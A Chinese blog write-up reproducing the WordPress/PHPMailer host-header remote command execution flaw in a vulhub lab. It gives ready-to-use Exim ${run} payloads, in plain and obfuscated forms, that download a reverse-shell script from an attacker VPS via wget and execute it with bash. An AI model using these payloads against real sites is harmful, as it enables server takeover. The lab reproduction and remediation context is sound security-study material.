漏洞简述

当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。

0x00漏洞影响

  • WordPress <= 4.6.0
  • PHPMailer < 5.2.18

0x01漏洞原理

主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

0x02环境搭建

下载vulhub、docker-compose来一键搭建环境,vulhub链接:https://vulhub.org/#/environments/wordpress/pwnscriptum/

0x03漏洞复现

漏洞存在后台登录地方的找回密码页面:http://192.168.1.160/wp-login.php?action=lostpassword

我们输入一个存在的用户,然后点击获取新密码,bp抓post包

请求包的HOST处的参数值即是该漏洞的payload点。

该漏洞利用需要满足以下几点:

1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin

需要注意:

该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面

payload构造:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/.php}} null) //在/tmp下创建一个1.php
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.106.109/bash.sh}} null) //下载反弹命令脚本到/tmp下重命名为shell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null) //执行/tmp下的shell脚本

payload转换规则:

.payload中run{}里面所有 / 用 ${substr{}{}{$spool_directory}} 代替
.payload中run{}里面所有 空格 用 ${substr{}{}{$tod_log}} 代替

上面的payload分别转换为:

aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}touch${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}.php}} null)
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}usr${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}wget${substr{}{}{$tod_log}}--output-document${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}shell${substr{}{}{$tod_log}}192.168.106.109${substr{}{}{$spool_directory}}bash.sh}} null)
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}bash${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}shell}} null)

将最终转化的payload分别拿到漏洞点去执行,观察效果

第一个payload在/tmp下新建1.php

在靶机上看看

命令只会默认执行,而不会在客户端显示出来,那么我们就只能采用反弹shell的方式获取到交互式shell来进行最终控制。

利用第二个payload从自己的外网vps上下载事先写好的反弹shell的脚本到靶机上的/tmp目录下,反弹到的目标为vps上。

发包之后查看靶机上的/tmp目录

看到已经成功下载到了靶机上的/tmp目录下,现在只需利用bash来执行这个shell脚本;

利用第三个payload来执行刚刚下载的反弹命令脚本,执行前需要在vps上进行监听指定端口,这里为7777:

burpsuite只要一发包,vps即可反弹上靶机的shell来

这样才达到了真正的利用该漏洞getshell了。

0x04漏洞修复

当然是更新wordpress、phpmailer到最新版本。

最新文章

  1. ASP.NET Core 数据保护(Data Protection)【中】
  2. forever让nodejs应用后台执行
  3. xUtils更新到3.0后的基本使用规则
  4. &lt;转&gt;用thinkPHP实现验证码的功能
  5. 一个完整的JENKINS下的ANT BUILD.XML文件(Jenkins可以参考)
  6. oracle portlist.ini
  7. django 学习-3 模板变量
  8. POJ 1201 Intervals(图论-差分约束)
  9. HDOJ 2037简单的贪心算法
  10. javascript-Blob文件对象
  11. JAVA不经过Catch(Exception e)直接到finally或者退出原因
  12. 前端如何将H5页面打包成本地app?
  13. Visual Studio + Qt开发环境搭建
  14. DH密钥交换非对称加密
  15. java中bigInteger的应用
  16. A.01.10—模块的输出—PWM高端输出
  17. 正版STLINK使用注意
  18. 承接教育类html5交互课件/动画/游戏外包——如何快速开发一款html5交互课件/动画产品
  19. LIRE图片识别搜索demo--Ubuntu开发
  20. Linux系统初始配置标准化

热门文章

  1. 《ASP.NET Core 高性能系列》静态文件中间件
  2. SpringMVC 参数映射与文件上传
  3. This function or variable may be unsafe
  4. 简单处理IP XML数据
  5. java字符编码-Unicode编码问题刨根究底
  6. C 语言宏定义函数编写时 do-while 的妙用和一些注意事项
  7. centos7 手把手从零搭建深度学习环境 (以TensorFlow2.0为例)
  8. Kittenblock画笔基础,移动留下痕迹的蝴蝶,图形化编程经验分享
  9. python练习——第0题
  10. 小cookie,大智慧